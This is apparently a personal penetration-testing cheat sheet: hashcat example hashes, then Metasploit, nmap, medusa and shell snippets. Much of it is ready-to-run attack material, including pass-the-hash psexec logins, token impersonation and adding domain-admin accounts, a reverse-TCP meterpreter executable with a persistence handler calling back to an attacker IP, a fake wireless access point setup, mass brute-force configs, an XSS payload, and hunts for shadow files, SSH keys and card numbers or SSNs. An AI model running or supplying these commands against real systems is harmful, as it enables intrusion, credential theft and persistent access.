18161760 HMAC-SHA512 (key = $salt) 7cce966f5503e292a51381f238d071971ad5442488f340f98e379b3aeae2f33778e3e732fcc2f7bdc04f3d460eebf6f8cb77da32df25500c09160dd3bf7d2a6b:1234
18171800 sha512crypt, SHA512(Unix) 2 $6$52450745$k5ka2p8bFuSmoVT1tzOyyuaREkkKBcCNqoDKzYiJL9RaE8yMnPgh2XzzF0NDrUhgrcLwg78xs1w5pJiypEdFX/
18182100 Domain Cached Credentials2, mscash2 $DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f
18192400 Cisco-PIX MD5 dRRVnUmUHXOTt9nk
18202410 Cisco-ASA MD5 02dMBMYkTdC5Ziyp:36
18212500 WPA/WPA2 1 http://hashcat.net/misc/example_hashes/hashcat.hccap
18222600 Double MD5 a936af92b0ae20b1ff6c3347a72e5fbe
18233000 LM 299bd128c1101fd6
18243100 Oracle 7-10g, DES(Oracle) 7A963A529D2E3229:3682427524
18253200 bcrypt, Blowfish(OpenBSD) $2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6
18263300 MD5(Sun) 3 $md5$rounds=904$iPPKEBnEkp3JV8uX$0L6m7rOFTVFn.SGqo2M9W1
18273500 md5(md5(md5($pass))) 9882d0778518b095917eb589f6998441
18283610 md5(md5($salt).$pass) 7b57255a15958ef898543ea6cc3313bc:1234
18293710 md5($salt.md5($pass)) 95248989ec91f6d0439dbde2bd0140be:1234
18303720 md5($pass.md5($salt)) 10ce488714fdbde9453670e0e4cbe99c:1234
18313810 md5($salt.$pass.$salt) 2e45c4b99396c6cb2db8bda0d3df669f:1234
18323910 md5(md5($pass).md5($salt)) 250920b3a5e31318806a032a4674df7e:1234
18334010 md5($salt.md5($salt.$pass)) 30d0cf4a5d7ed831084c5b8b0ba75b46:1234
18344110 md5($salt.md5($pass.$salt)) b4cb5c551a30f6c25d648560408df68a:1234
18354210 md5($username.0.$pass) 09ea048c345ad336ebe38ae5b6c4de24:1234
18364300 md5(strtoupper(md5($pass))) b8c385461bb9f9d733d3af832cf60b27
18374400 md5(sha1($pass)) 288496df99b33f8f75a7ce4837d1b480
18384500 Double SHA1 3db9184f5da4e463832b086211af8d2314919951
18394600 sha1(sha1(sha1($pass))) dc57f246485e62d99a5110afc9264b4ccbfcf3cc
18404700 sha1(md5($pass)) 92d85978d884eb1d99a51652b1139c8279fa8663
18414800 MD5(Chap), iSCSI CHAP authentication afd09efdd6f8ca9f18ec77c5869788c3:01020304050607080910111213141516:01
18425000 SHA-3(Keccak) 203f88777f18bb4ee1226627b547808f38d90d3e106262b5de9ca943b57137b6
18435100 Half MD5 8743b52063cd8409
18445200 Password Safe SHA-256 http://hashcat.net/misc/example_hashes/hashcat.psafe3
18455300 IKE-PSK MD5 http://hashcat.net/misc/example_hashes/hashcat.ikemd5
18465400 IKE-PSK SHA1 http://hashcat.net/misc/example_hashes/hashcat.ikesha1
18475500 NetNTLMv1-VANILLA / NetNTLMv1+ESS u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c
18485600 NetNTLMv2 admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
18495700 Cisco-IOS SHA256 2btjjy78REtmYkkW0csHUbJZOstRXoWdX1mGrmmfeHI
18505800 Samsung Android Password/PIN 0223b799d526b596fe4ba5628b9e65068227e68e:f6d45822728ddb2c
18516000 RipeMD160 012cb9b334ec1aeb71a9c8ce85586082467f7eb6
18526100 Whirlpool 7ca8eaaaa15eaa4c038b4c47b9313e92da827c06940e69947f85bc0fbef3eb8fd254da220ad9e208b6b28f6bb9be31dd760f1fdb26112d83f87d96b416a4d258
18536211 PBKDF2-HMAC-RipeMD160/AES http://hashcat.net/misc/example_hashes/hashcat_ripemd160.tc
18546221 PBKDF2-HMAC-SHA512/AES http://hashcat.net/misc/example_hashes/hashcat_sha512.tc
18556231 PBKDF2-HMAC-Whirlpool/AES http://hashcat.net/misc/example_hashes/hashcat_whirlpool.tc
18566241 PBKDF2-HMAC-RipeMD160-boot/AES http://hashcat.net/misc/example_hashes/hashcat_ripemd160_boot.tc
18576300 AIX {smd5} {smd5}a5/yTL/u$VfvgyHx1xUlXZYBocQpQY0
18586400 AIX {ssha256} {ssha256}06$aJckFGJAB30LTe10$ohUsB7LBPlgclE3hJg9x042DLJvQyxVCX.nZZLEz.g2
18596500 AIX {ssha512} {ssha512}06$bJbkFGJAB30L2e23$bXiXjyH5YGIyoWWmEVwq67nCU5t7GLy9HkCzrodRCQCx3r9VvG98o7O3V0r9cVrX3LPPGuHqT5LLn0oGCuI1..
18606600 1Password, Agile Keychain http://hashcat.net/misc/example_hashes/hashcat.agilekeychain
18616700 AIX {ssha1} {ssha1}06$bJbkFGJAB30L2e23$dCESGOsP7jaIIAJ1QAcmaGeG.kr
18626800 Lastpass 1, 4 a2d1f7b7a1862d0d4a52644e72d59df5:500:lp@trash-mail.com
18636900 GOST R 34.11-94 df226c2c6dcb1d995c0299a33a084b201544293c31fc3d279530121d36bbcea9
18647000 Fortigate (FortiOS) AK1AAECAwQFBgcICRARNGqgeC3is8gv2xWWRony9NJnDgEA
18657100 OS X v10.8 / v10.9 $ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222
18667200 GRUB 2 grub.pbkdf2.sha512.10000.7d391ef48645f626b427b1fae06a7219b5b54f4f02b2621f86b5e36e83ae492bd1db60871e45bc07925cecb46ff8ba3db31c723c0c6acbd4f06f60c5b246ecbf.26d59c52b50df90d043f070bd9cbcd92a74424da42b3666fdeb08f1a54b8f1d2f4f56cf436f9382419c26798dc2c209a86003982b1e5a9fcef905f4dfaa4c524
18677300 IPMI2 RAKP HMAC-SHA1 b7c2d6f13a43dce2e44ad120a9cd8a13d0ca23f0414275c0bbe1070d2d1299b1c04da0f1a0f1e4e2537300263a2200000000000000000000140768617368636174:472bdabe2d5d4bffd6add7b3ba79a291d104a9ef
18687400 sha256crypt, SHA256(Unix) 2 $5$rounds=5000$GX7BopJZJxPc/KEK$le16UF8I2Anb.rOrn22AUPWvzUETDGefUmAV8AZkGcD
18697500 Kerberos 5 AS-REQ Pre-Auth $krb5pa$23$user$realm$salt$4e751db65422b2117f7eac7b721932dc8aa0d9966785ecd958f971f622bf5c42dc0c70b532363138363631363132333238383835
18707700 SAP CODVN B (BCODE) 435748802305$70AE4FF6C945B78F
18717800 SAP CODVN F/G (PASSCODE) 034488234401$3F9CB8B0EFC58A8536DC0121794F672A626D78FB
18727900 Drupal7 $S$C33783772bRXEx1aCsvY.dqgaaSu76XmVlKrW9Qu8IQlvxHlmzLf
18738000 Sybase ASE 0xc00778168388631428230545ed2c976790af96768afa0806fe6c0da3b28f3e132137eac56f9bad027ea2
18748100 Citrix Netscaler 1765058016a22f1b4e076dccd1c3df4e8e5c0839ccded98ea
18758200 1Password, Cloud Keychain http://hashcat.net/misc/example_hashes/hashcat.cloudkeychain
18768300 DNSSEC (NSEC3) 7b5n74kq8r441blc2c5qbbat19baj79r:.lvdsiqfj.net:33164473:1
18778400 WBB3, Woltlab Burning Board 3 8084df19a6dc81e2597d051c3d8b400787e2d5a9:6755045315424852185115352765375338838643
18788500 RACF $racf$*USER*FC2577C6EBE6265B
18798600 Lotus Notes/Domino 5 3dd2e1e5ac03e230243d58b8c5ada076
18808700 Lotus Notes/Domino 6 (GDpOtD35gGlyDksQRxEU)
18819999 Plaintext hashcat
1882
18831 password: hashcat!
18842 rounds=[# of iterations] is optional here, after signature, e.g. $5$rounds=5000
18853 as in 2 but the number of rounds must be specified
18864 the hash used here is not the one send via e.g. the web-interface to lastpass servers (pbkdf2_sha256_hex (pbkdf2_sha256 ($pass, $email, $iterations), $pass, 1) but instead the one stored (by e.g. your browser or the pocket version) to disk, opera/chrome for instance use local sqlite databases, firefox uses files with ending _lpall.slps - for linux: 2nd line is interesting / base64 decode it, for win see here - and _key.itr
1887
1888Specific hash types:
1889Hash-Mode Hash-Name Example
189011 Joomla < 2.5.18 19e0e8d91c722e7091ca7a6a6fb0f4fa:547180318425216517577853af0389f093b181ae26452015f4ae728:user603028777
189121 osCommerce, xt:Commerce 374996a5e8a5e57fd97d893f7df79824:36
189222 Juniper Netscreen/SSG (ScreenOS) nNxKL2rOEkbBc9BFLsVGG6OtOUO/8n:user
189323 Skype 3af0389f093b181ae26452015f4ae728:user
1894101 nsldap, SHA-1(Base64), Netscape LDAP SHA {SHA}uJ6qx+YUFzQbcQtyd2gpTQ5qJ3s=
1895111 nsldaps, SSHA-1(Base64), Netscape LDAP SSHA {SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
1896112 Oracle 11g ac5f1e62d21fd0529428b84d42e8955b04966703:38445748184477378130
1897121 SMF >= v1.1 ecf076ce9d6ed3624a9332112b1cd67b236fdd11:17782686
1898122 OS X v10.4, v10.5, v10.6 1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683
1899123 EPi 0x326C6D7B4E4F794B79474E36704F35723958397163735263516265456E31 0xAFC55E260B8F45C0C6512BCE776C1AD8312B56E6
1900131 MSSQL(2000) 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
1901132 MSSQL(2005) 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
1902133 PeopleSoft uXmFVrdBvv293L9kDR3VnRmx4ZM=
1903141 EPiServer 6.x < v4 $episerver$*0*bEtiVGhPNlZpcUN4a3ExTg==*utkfN0EOgljbv5FoZ6+AcZD5iLk
19041421 hMailServer 8fe7ca27a17adc337cd892b1d959b4e487b8f0ef09e32214f44fb1b07e461c532e9ec3
19051441 EPiServer 6.x >= v4 $episerver$*1*MDEyMzQ1Njc4OWFiY2RlZg==*lRjiU46qHA7S6ZE7RfKUcYhB85ofArj1j7TrCtu3u6Y
19061711 SSHA-512(Base64), LDAP {SSHA512} {SSHA512}ALtwKGBdRgD+U0fPAy31C28RyKYx7+a8kmfksccsOeLknLHv2DBXYI7TDnTolQMBuPkWDISgZr2cHfnNPFjGZTEyNDU4OTkw
19071722 OS X v10.7 648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d
19081731 MSSQL(2012), MSSQL(2014) 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375
19092611 vBulletin < v3.8.5 16780ba78d2d5f02f3202901c1b6d975:568
19102612 PHPS $PHPS$34323438373734$5b07e065b9d78d69603e71201c6cf29f
19112711 vBulletin >= v3.8.5 bf366348c53ddcfbd16e63edfdd1eee6:181264250056774603641874043270
19122811 IPB2+, MyBB1.2+ 8d2129083ef35f4b365d5d87487e1207:47204
19133711 Mediawiki B type $B$56668501$0ce106caa70af57fd525aeaf80ef2898
19143721 WebEdition CMS fa01af9f0de5f377ae8befb03865178e:5678
19157600 Redmine Project Management Web App 536befdaffc3e2215e481aded7e32134906a673b:1234
1916
1917
1918
1919# more examples hashes cracked john
1920
1921user:2d9f0b052932ad18b87f315641921cda:lab:lab.internal
1922Service currently active. Stopping service...
1923Service successfully removed.
1924
1925John Plugin:
1926$ ./john -format:mscash ./mscash.txt
1927Loaded 1 password hash (M$ Cache Hash [mscash])
1928password (user
1929
1930
1931
1932# set power profile via command line
1933
1934Powercfg.exe /SETACTIVE "Always On"
1935Powercfg.exe /SETACTIVE "Max Battery"
1936
1937#Remove the .NET Credentials (Stored User names and Passwords)
1938Control keymgr.dll
1939
1940
1941# convert amr to mp3
1942ffmpeg -i file.amr -vn -acodec libmp3lame -ac 2 -ab 96k file.mp3
1943FOR /F "delims==" %%A IN ('DIR/B "*.amr"') DO ffmpeg -i %%A -vn -acodec libmp3lame -ac 2 -ab 96k %%A.mp3
1944
1945
1946#windows saved passwords
1947rundll32.exe keymgr.dll, KRShowKeyMgr
1948
1949# check for mod date range
1950find / -type f -newermt 2011-10-01 ! -newermt 2012-04-30
1951
1952# openvas on 11.10
1953take src out of the sources.list
1954add --http-only to the /etc/init.d/greenbone-security-assistant startup script
1955
1956# mass set path
1957export PATH=$PATH:`find /usr/lib/ruby/1.9.1 -type d | sed 's/$/:/g' | tr -d '\n'`
1958
1959
1960
1961# top web ports ports
196280-83,99,100,443,631,800,1000,1739,2002,2301,2381,3000,5800,5988,5989,8000-8080,808,8099,8100-8105,8443,8888,8900,9999,10000
1963
1964# more web ports
196510080,10100,10243,10250,10251,1027,1029,1030,1032,10439,10444,11267,1183,1184,11869,11905,11910,11935,1208,13080,1416,14176,14654,16000,16080,16372,17012,18083,1818,18180,1830,1831,19000,19082,19091,19101,1947,1972,19740,2002,2030,20444,2130,2140,21988,2301,2316,2381,2414,2424,24305,2480,2523,25684,25825,2693,27775,280,28080,2851,2869,30444,30900,31458,31459,3201,3227,32843,3339,34988,35135,35145,3526,3617,3790,37922,3842,3914,3938,4036,4053,41647,4220,4239,4343,443,45000,4680,47001,4723,48018,4848,4864,49152,49157,50000,50001,50038,51785,51905,51908,5225,53001,5357,5440,5447,5449,5469,54850,5500,5501,554,5554,55885,56414,56737,57423,57772,57773,5800,5801,591,593,5985,5989,60000,6001,6002,6003,6004,60213,61000,6107,6108,6113,6114,6160,6161,631,6325,6453,6454,65084,65093,6842,7001,7002,7003,7070,7099,7126,7191,7359,7453,7454,7717,7751,80,8000,8001,8002,8003,8004,8008,8020,8070,8071,8077,8080,8081,8082,8083,8085,8086,8087,8088,8090,8093,8094,8095,8099,81,8107,8113,8114,8115,8118,8120,8123,8126,8133,8135,8138,815,8150,8151,8180,82,8200,8222,8260,8300,8323,8333,84,8444,85,8530,8533,86,8660,8666,8701,8703,8732,8733,8740,8878,8880,8888,8889,8900,90,9000,9001,9002,9005,9006,9073,9080,9081,9084,9086,9087,9090,9091,9191,9300,9310,9444,9501,9510,9595,9642,9675,9676,9797,9823,9887
1966
1967#sap ports
196832000,33000,34000,36000,47000,48000,21-23,25,21-23,25,80-83,53,110,135,139,445,3128,1433,1521,3306,3389,5900,6001,8080,8888,80-83,53,110,135,139,445,3128,1433,1521,3306,3389,5900,6001,8080,8888,99,100,443,631,800,1000,1739,2002,2301,2381,3000,5800,5988,5989,8000-8015,8080-8083,8099,8100-8105,8443,8888,8900,9999,10000
1969
1970# common proxy ports
197180,81,82,83,84,85,86,443,808,3128,6515,6666,8000,8001,8008,8080,8081,8088,8090,8118,8181,8888,8909,9000,9090,54321
1972
1973
1974
1975
1976
1977
1978# nslookup to CSV
1979for i in `cat FULL` ;do echo "IP$i";nslookup $i|grep 'name ='|sed 's/.*name = /,/g'|sed 's/\.$//g';done| tr -d '\n' | awk '{gsub("IP","\n"); print}'
1980
1981
1982# my-ip-neighbors lookup
1983# 200 at a time .. you need to change the -x to a proxy that works .. rmccurdy.com/scripts/proxy/good.txt
1984# test google before you start ..
1985# curl -x 184.171.175.14:808 http://google.com etc ..
1986
1987
1988for i in `cat FULL`;do echo curl -x 184.171.175.14:808 "\""http://www.my-ip-neighbors.com/?domain=$i"\"";done > go
1989bash -x go > out
1990
1991# grep the output for all the goodies and make it nice CSV
1992egrep "(\"http:\/\/whois\.domaintools\.com|domain\" value=\")" out | sed 's/.*domain\" value=\"/IP /g' | sed 's/\"\/>.*//g' | sed 's/.*domaintools.com\//,/g' | sed 's/" t.*//g' | tr -d '\n' | awk '{gsub("IP","\n"); print}'
1993
1994
1995
1996
1997
1998# block port 80 throttle
1999iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 4 -j REJECT
2000#ssh block stuff fu
2001iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW -m recent --set --name SSH
2002iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 8 --rttl --name SSH -j DROP
2003
2004
2005
2006
2007# CURL HTTPS
2008for i in `cat check`;do echo curl -L -k --location-trusted -m 3 -L -o $i.htm "\""https://$i"\"";done > https
2009
2010
2011# airbase/karma.rc setup
2012
2013
2014--------------------
2015
2016gogogo
2017----------------
2018
2019# change eth1 to internet interface
2020iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE
2021iptables --append FORWARD --in-interface at0 -j ACCEPT
2022echo 1 > /proc/sys/net/ipv4/ip_forward
2023
2024
2025# kill stuff the will cause issues ..
2026killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd
2027
2028# start MSF karma.rc script logs are screenlog.0 etc ..
2029xterm -e "screen -L /pentest/exploits/framework/msfconsole -r /stuff/karma.rc" &
2030
2031# takes a wile to startup .. lets wait we need it all ready to work before people connect to it so we dont miss packets !!!
2032
2033echo "waiting for MSF karma to start .. 50sec"
2034sleep 20
2035
2036# monitor mode change wlan1 to your wifi
2037airmon-ng start wlan1
2038
2039sleep 5
2040
2041# setup fake AP
2042xterm -e "airbase-ng -c 6 -P mon0 -v" &
2043
2044sleep 5
2045
2046ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 &
2047
2048# setup DHCP server
2049xterm -e "dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0" &
2050
2051# DEBUG DHCP to see DHCP request hits xterm -e "tcpdump -i at0 -n port 67 and port 68" &
2052
2053
2054------------------
2055
2056
2057
2058
2059# XSS
2060>"'><script>alert('XSS')</script>
2061# add full read write read/write full R/W on registry key
2062SetACL.exe -on "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies" -ot reg -actn ace -ace "n:MyDomain\JohnDoe;p:full"
2063# add -P0 for no ping
2064/usr/bin/screen -fa -d -m nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 192.30.0.0/16 -oA /home/administrator/rmccurdy/192.30.0.0_fast_ping
2065# msf metasploit use login to get msfshell for pivot/token
2066use exploit/windows/smb/psexec
2067
2068set RHOST 192.168.64.123
2069set SMBUser adminit
2070set SMBPass password
2071# also set HASHES !! set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
2072
2073exploit
2074
2075getuid
2076use priv
2077getsystem
2078use incognito
2079list_tokens -u
2080add_group_user "Domain Admins"
2081impersonate_token "DOMAIN\\user"
2082# add user and give it local admin
2083net user test PASSWORDHERE /add
2084net localgroup administrators test /add
2085
2086# add user to domain and makt it domain admin
2087net user /add USERNAME STRONGPASSWORD /domain
2088net group /add "domain admins" USERNAME /domain
2089
2090---------------------------
2091# make exe
2092./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe
2093
2094# attacker listen
2095use exploit/multi/handler
2096set PAYLOAD windows/meterpreter/reverse_tcp
2097set LHOST 192.168.6.55
2098set LPORT 443
2099set ExitOnSession false
2100# set AutoRunScript pathto script you want to autorun after exploit is run
2101set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30
2102
2103exploit -j -z
2104
2105
2106# armatage DONT USE THIS JUIST USE BIN INSTALL FROM WEBSITE .. INCLUDES FULL AND POSTGRES BINS
2107apt-get install mysql-server -y
2108/etc/init.d/mysql start
2109
2110mysqladmin -u root -ppassword password toor
2111/pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic
2112
2113# armatage DONT USE THIS METHOD USE THE BIN FROM WEBSITE IT HAS ITS OWN POSTGRES
2114
2115apt-get install -y postgresql
2116
2117apt-get install libpq-dev -y
2118
2119gem install postgres
2120
2121/etc/init.d/postgresql start
2122su -
2123su - postgres
2124
2125
2126createuser msf_user -P
2127createdb --owner=msf_user msf
2128
2129/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
2130/pentest/exploits/framework/armitage
2131
2132
2133 ----
2134
2135
2136# ssh
2137use auxiliary/scanner/ssh/ssh_login
2138
2139#set RHOSTS_FILE "C:/backup/wordlist/targests.txt"
2140set RHOSTS 192.59.139.135 192.59.139.136 192.59.139.140 192.116.61.25 192.116.61.26 192.116.61.34
2141# also set RHOSTS file://bla
2142# set USER_FILE "C:/backup/wordlist/password_large.txt"
2143set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt"
2144set VERBOSE true
2145set STOP_ON_SUCCESS true
2146set BRUTEFORCE_SPEED 5
2147# set this to the number of host
2148set THREADS 6
2149
2150run
2151
2152use auxiliary/gather/dns_enum
2153set DOMAIN domain.com
2154run
2155#smb
2156
2157use auxiliary/scanner/smb/smb_login
2158
2159set RHOSTS file://192.168.8.39
2160set RHOSTS 127.0.0.1
2161
2162set USER_FILE "C:/wordlist/users.txt"
2163set PASS_FILE "C:/wordlist/2.txt"
2164set VERBOSE false
2165# set to number of host scanning .
2166set THREADS 16
2167
2168set STOP_ON_SUCCESS true
2169set VERBOSE false
2170 Name Value
2171 ---- -----
2172 BLANK_PASSWORDS false
2173 BRUTEFORCE_SPEED 5
2174 ConnectTimeout 10
2175 DCERPC::ReadTimeout 10
2176 DCERPC::fake_bind_multi true
2177 DCERPC::fake_bind_multi_append 0
2178 DCERPC::fake_bind_multi_prepend 0
2179 DCERPC::max_frag_size 4096
2180 DCERPC::smb_pipeio rw
2181 MaxGuessesPerService 0
2182 MaxGuessesPerUser 0
2183 MaxMinutesPerService 0
2184 NTLM::SendLM true
2185 NTLM::SendNTLM true
2186 NTLM::SendSPN true
2187 NTLM::UseLMKey false
2188 NTLM::UseNTLM2_session true
2189 NTLM::UseNTLMv2 true
2190 PRESERVE_DOMAINS true
2191 REMOVE_PASS_FILE false
2192 REMOVE_USERPASS_FILE false
2193 REMOVE_USER_FILE false
2194 RHOST file:/home/rmccurdy/high
2195
2196# http
2197
2198use auxiliary/scanner/http/http_login
2199set AUTH_URI /folder?dcPath=ha-datacenter
2200set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1
2201set VERBOSE true
2202run
2203back
2204
2205# telnet
2206use auxiliary/scanner/telnet/telnet_login
2207set RHOSTS 127.0.0.1,49,50
2208
2209set PASS_FILE "C:/wordlist/password_small.txt"
2210set THREADS 254
2211run
2212
2213back
2214# mssql
2215use auxiliary/scanner/mssql/mssql_login
2216set RHOSTS 127.0.0.1
2217set PASS_FILE "C:/wordlist/password_small.txt"
2218set USERNAME sa
2219set VERBOSE false
2220run
2221back
2222
2223
2224
2225#ftp
2226use auxiliary/scanner/ftp/ftp_login
2227set RHOSTS 127.0.0.1
2228set PASS_FILE /home/administrator/small.txt
2229set USER_FILE /home/administrator/small.txt
2230set BRUTEFORCE_SPEED 1
2231run
2232
2233#snmp
2234use auxiliary/scanner/snmp/snmp_login
2235set RHOSTS 127.0.0.1
2236set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
2237set VERBOSE false
2238
2239run
2240
2241nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
2242./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
2243# got r00t got r00t ?
2244
2245# ref http://en.wikipedia.org/wiki/Setuid
2246# find Setuid world writable files
2247find / \( \( -perm -4000 -o -perm -2000 -type f \) -and \( -perm -0002 -o -perm -0020 \) \) -type f -ls
2248
2249
2250# search home for passwords ..
2251cd /home
2252grep -iar password * -A 1 -B 1 |strings >/tmp/home_pass;less /tmp/home_pass
2253
2254# search a path for READ accesss using file command
2255find . -maxdepth 5 -exec file '{}' \; | grep -v "no read" | grep -v directory >/tmp/mnt
2256
2257# bash history very gooOOOd !
2258updatedb;locate .bash_history
2259
2260# crack with extrem gpu brute force
2261cat /etc/shadow | grep -v ":\*:"
2262# use on other servers by checking bash history
2263updatedb;locate authorized
2264
2265# find files modifyed the past 7 days
2266find / -type f -mtime -7|egrep -v "(proc|\/sys)"
2267
2268# you can look for other file types sql,*.php,*sql.tar.gz,*pass*,sudousers,/etc/passwd,/root/.ssh or ~/.ssh,password
2269locate *.sql
2270locate sql.tar.gz
2271# what services are listing the part at the top
2272netstat -na | grep LIS
2273lsof -nPi
2274
2275
2276
2277# Search office documents for PII
2278# CC with SSN no dash ( high false positive )
2279find . -iname "*.???x" -type f -exec unzip -p '{}' '*' \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b|\b[0-9]{9}\b"
2280
2281# CC with SSN dash ( low false positive only match ###-##-#### not any 8digi number )
2282find . -iname "*.???x" -type f -exec unzip -p '{}' '*' \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b"
2283
2284
2285
2286
2287# find config files with company names in them
2288find . -type f -size -1000000 -exec grep -B 3 -A 3 -Hi COMPANYNAMEHERE '{}' \; > grep_config_companyname.txt
2289
2290# find config files with Internal IP space in them
2291find . -type f -size -1000000 -exec grep -Hi -B 3 -A 3 \b(10|172|192)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b '{}' \; > grep_config_internalip.txt
2292
2293# grep LARGE ! files in this case sql files with company name
2294find . -type f *.sql -exec grep -Hi -B 3 -A 3 COMPANYNAMEHERE '{}' \; > grep_config_internalip.txt
2295
2296
2297---------
2298
2299more notes :
2300-------------
2301# class b ADDfff -Pn to not ping ( assume up and no ping scan, it will take longer ) use control + D to end script and save at job
2302# this will run at 7pm in a screen so you can reattach / check status and Ctrl+c out to save and use nmap -r to resume if need be
2303at 19:00
2304screen bash at.sh
2305# at.sh script
2306nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 192.159.0.0/16 -oA /home/administrator/rmccurdy/safg/192.159.0.0_fast_ping
2307# class b external 65k host fast ping scan 7 ports 30min
2308# Nmap 5.61TEST2 scan initiated Thu Dec 29 21:02:11 2011 as: nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 -oA /home/administrator/rmccurdy/safg/192.30.0.0_fast_ping 192.30.0.0/16
2309# Ports scanned: TCP(7;20-21,80,115,443,989-990) UDP(0;) SCTP(0;) PROTOCOLS(0;)
2310# Nmap done at Thu Dec 29 21:29:10 2011 -- 65536 IP addresses (40675 hosts up) scanned in 1618.92 seconds
2311
2312nmap --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=zonetransfer.me -p 53 ns12.zoneedit.com
2313for i in `cat 1` ; do curl http://api.hackertarget.com/zonetransfer/?q=$i;done
2314
2315
2316# medusa hydra
2317./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
2318
2319
2320http://www.foofus.net/~jmk/medusa/medusa.html
2321medusa -M ftp -H targets -u Anonymous -p input_file -v 6 -T 30 -g 2 -R 1
2322medusa -M mysql -H # change the -T for more threds -t is for per host keep it 1 ..
2323medusa -M ssh -H 22 -u root -p tcr1tt3r -v 6 -g 2 -R 1 -t 1 -T 1
2324medusa -h 192.168.1.103 -u administrator -P passwords.txt -e ns -M smbnt
2325
2326
2327mysql -u root -P mysqlpass.txt -v 6 -T 1 -g 2 -R 1
2328nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
2329
2330# email over telnet
2331RSET
2332HELO
2333MAIL FROM:<root@whatismyip.com>
2334RCPT TO:<"freeload101@yahoo.com">
2335data
2336this is a test from w00t
2337.
2338--------
2339route add 10.101.14.0 netmask 255.255.255.0 gw 10.101.13.1 dev eth05
2340
2341.\nmap -script smb-check-vulns.nse --script-args=unsafe=1 -p445 10.104.101.59
2342.\nmap --script smb-enum-shares.nse -p445 10.104.101.59
2343.\nmap --script smb-enum-users.nse -p445 10.104.101.59
2344.\nmap.exe --script smtp-commands.nse -pT:25,465,587
2345.\nmap.exe --script smtp-enum-users.nse -pT:25,465,587
2346 a
2347
2348# sid enum using nmap and metasploits sid.txt 1307 sids in ~8 seconds
2349nmap -n --script=oracle-sid-brute -p 1521-1560 192.168.1.141
2350
2351# try 1255 user/pass
2352# requires valid SID ( default is XE )
2353# Performed 1245 guesses in 3 seconds, average tps: 415
2354nmap --script oracle-brute -p 1521-1560 --script-args oracle-brute.sid=XE -n 192.168.1.141
2355
2356# oracle shell using OAT Oracle Audit Tool
2357ose.bat -s 192.168.1.141 -u SYS -p CHANGE_ON_INSTALL -d XE -t Windows
2358
2359# route all to 10.127.120.97
2360route add 0.0.0.0 mask 0.0.0.0 10.127.120.97
2361# route 75.131.211.0 to VPN or other connectoin
2362route add 75.131.211.0 mask 255.255.255.0 192.168.77.254
2363# route rmccurdy over VPN
2364route add 75.131.211.0 mask 255.255.255.0 10.31.128.1
2365
2366
2367warvox notes:
2368* you also have to contact support and have IAX unlocked on the account
